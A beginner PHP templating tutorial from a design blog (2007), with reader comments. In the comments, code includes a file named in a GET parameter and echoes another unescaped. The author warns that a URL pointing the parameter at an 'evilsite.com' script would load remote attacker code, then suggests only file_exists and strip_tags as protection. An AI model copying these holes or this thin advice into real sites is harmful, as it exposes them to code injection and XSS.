Design Oahu

Web design blog from the middle of the pacific.

Practical PHP: Basic Template

There are plenty of tutorials on the web that will teach you to program in PHP. If you have tried to follow along any of these tutorials you have probably wondered to yourself, when am I ever going to use this? Well, that is what this tutorial series is all about… giving you the designer, practical ways to incorporate PHP when creating your websites to improve your efficiency. This basic template technique is well suited for a project that contains a small amount of pages with the same look. The first step is to create the CSS and HTML.

<html>
<head>
<title>My Title</title>
<style type=”text/css”>
body{ background-color: black; color: white; }
</style>
</head>
<body>
<h1>Page Title</h1>
<p>Page content goes here…</p>
<p>Copyright © 2007 Company Name</p>
</html>

Cheesy, yes I know, but you get the idea. Anyways, we are going to take this design and use it on other pages. You may be thinking at this point, why not just copy and paste the entire HTML on a new page and edit the content? Well, what if your client asks for the copyright notice to be displayed in a smaller font. We would then have to go to all pages that we created and wrap the copyright notice in a div tag then update the stylesheet with a small font for the copyright notice. In this example you will only have to make the edit at one place which is the goal we are trying to achieve. So let’s start to break this into parts. I am going to create one PHP page called functions.php that will contain all the sections that are required.

<?php
function display_header($title){
?>
<html>
<head>
<title><?php echo $title; ?></title>
<style type=”text/css”>
body{ background-color: black; color: white; }
</style>
</head>
<body>
<h1><?php echo $title; ?></h1>
<?php
}

function display_footer(){
?>
<p>Copyright © 2007 Company Name</p>
</html>
<?php
}
?>

So, some things that you may have noticed… everything that is not HTML is between the <?php and the ?> tags. You guessed it, this is the PHP code. The meat and potatoes of functions.php is the functions themselves. It is a way to group things that you will be reusing. The first function is going to display the header. The only thing that will be changing within this section is the title. I’m sure you noticed the title had a $ sign just before the word. This specifies that $title is a variable. A variable means that its value can change. Each new page will have a different title, so that is why we make the title a variable. Lastly, you will notice a block of PHP code between the title tags and the H1 tags that contains echo. Echo is going to display the value of $title. The semicolon just means that the particular statement is over. The display header function has a lot of stuff going on, but the display footer function is pretty basic, nothing new that we don’t already know, so lets move on to implementing this with a new page. Let’s call this about.php.

<?php
include(’functions.php’);
display_header(’About Company Name’);
?>
<p>This is the content for the about page…</p>
<?php
display_footer();
?>

Obviously the include function is including our functions.php file. This allows us to make use of the functions. As we do in the next line by displaying the header. Hopefully at this point you are able to see the advantage of building your small site in this fashion. Want to change the H1 tag to H2, only one edit. Your client wants to add the LLC on the end of their company’s name, only one edit. The year has changed to 2008, only one edit. Speaking of changing the year all the time, let’s just update our footer to make use of the PHP date function to always display the current year.

function display_footer(){
?>
<p>Copyright © <?php echo date(’Y'); ?> Company Name</p>
</html>
<?php
}
?>

I hope this Practical PHP Tutorial will help some designers out there to cut down on their maintenance time. For a more robust template, take a look at the Smarty Template Engine. Just about every PHP based Content Management System (CMS) out there either uses Smarty Templates, or they are using a PHP templating system similar to what you just learned (but of course more complex). Good luck with PHP and Templating!

If you liked what you read you may be interested in subscribing to our RSS feed or email alerts. You may also want to read up about what RSS feeds are all about.

13 Comments

  1. Comment by raphiem on February 16, 2007

    Hi

    i was searching the net on how to customise page titles and found your site to be the easiest to understand …

    however i have a slightly more difficult situation and was wondering if you could kindly help me

    i have main.php page which includes

    menu.html

    footer.html

    and for the main body i use a <?php include($_GET["page"]);?>

    with this i then call all my pages using

    main.php?page=otherpages.html

    now here is my problem and forgive me as php webdev is all new to me

    when i call otherpages.html … i want their page titles to be reflected in the browser etc as currently i am stuck with one page title for the whole website

    any assistance is appreciated

    regards

  2. Comment by Jeremy on February 16, 2007

    @raphiem
    I think you may be able to use the setup you have if you append an additional variable after your page. So it would look like main.php?page=basketball.html&title=Basket%20Ball

    Then within your main file you would have:

    <html>
    <head>
    <title><?php echo $_GET['title']; ?></title>
    </head>
    <body>
    <?php include($_GET['page']); ?>
    </body>
    </html>

    However, I would caution again including a get variable as it would be very easy for someone to just go to a page like main.php?page=http://evilsite.com/evilscript.php
    You should really try following the tutorial step by step and use the simple template I show to get you started, with functions.

  3. Comment by raphiem on February 16, 2007

    Thank you Jeremy

    PHP is new to me and was not aware about get function could be used maliciously

    i will have a look at removing the ue of get function.

    Thanks again.

  4. Comment by raphiem on February 16, 2007

    on another note Jeremy is there a way i can use get functions but protect against malicious intent as you described above

    Thanks

  5. Comment by Jeremy on February 16, 2007

    Hello Raphiem, It is not just GET it is also POST, you just have to be careful with any user submitted data. The rule is that you never can trust anything submitted by a user. In your example including the page from the URL it would just be too easy for someone to do that, and is why I mentioned it. Something you may want to do in this particular case is check to see if the file actually does exist on your server. You can do that with the file_exists function. You also should at least be using the strip_tags function. Please don’t rely on my security advise though, seek as much info as you can about the topic. You will find lots of good security advice over at Chris Shiflett’s website.

  6. Comment by Larry on February 20, 2007

    Funnily the CSS does not seem to work in FF2. Beats me.

  7. Comment by Jeremy on February 21, 2007

    Hey Larry,

    Don’t get hung up on the Style Sheet, use whatever style sheet you want, I just wrote that one as a quick example. Please post a link to your site, and maybe I can see something wrong.

  8. Comment by bagpiper on April 12, 2007

    thanks man. i wanted just a tutorial like this. but, is there any next part where a more complex template system is discussed in a so easily understandable way?

    thanks again.
    bp

  9. Comment by Klaus on April 16, 2007

    Hello,

    I’m quite new to php and I have found this site while browsing for an answer, so I decided to write here since I haven’t found what I was looking for. I have heard about another way to set the title of the current page using the include function. Except that I could write only part of the code. Should you know what I am talking about, please tell me. I’m curious about how one does this. Let’s say that header.php contains the header of the current page.

    Smth like this. This would mean that a variable would be caught by the echo statement. But how can I pass the variable to header.php, when my index.php contains

    Thank you!

  10. Comment by Rollout on April 23, 2007

    I’m a designer that’s just inherited a PHP site using Smarty. I’ve done some edits to index.php pages, to the header.php and footer.php files. This I understand.

    What I dont understand is how I create a completely new page using Smarty. I have not seen any tutorials for this simple request. I have a series of smarty .tpl template files to start from, but I need a step-by-step to create the new page. I understand that I will probably create a new index.php page in a folder for the new product we are introducing, which needs the new page. But my question is: what tells smarty that this page exists, and to add the header and footer info to it when it lays out a page.

    Any suggestions, references or help would be greatly appreciated.

  11. Comment by shah on February 2, 2008

    Hey Jeremy,
    Very easy to follow tute. I’ve got one question here though. Does the functions.php file have to be in the same folder as the other PHP files that include the functions.php? And do these files have to be on the root folder of a site? I have followed the tutorial, but my site doesnt seem to load on the server..I wonder why..

  12. Comment by bob on March 27, 2008

    8hSeyd hi super site thanks http://peace.com

  13. Comment by Mdu on July 26, 2008

    hi everyone.This site has the most user friendly instructions,thanks. can any one please help me understand how e-mail accounts are created under a spesific domain name ie:if my domain name is “artwork.com” how is it that i can have n email adress that reads; “myname@artwork.com”?is it php,html or javaScript? any assistance will b appriated THANK YOU

Leave a Comment

Trackbacks

  1. Hawaii Website Design » Practical PHP: Email Form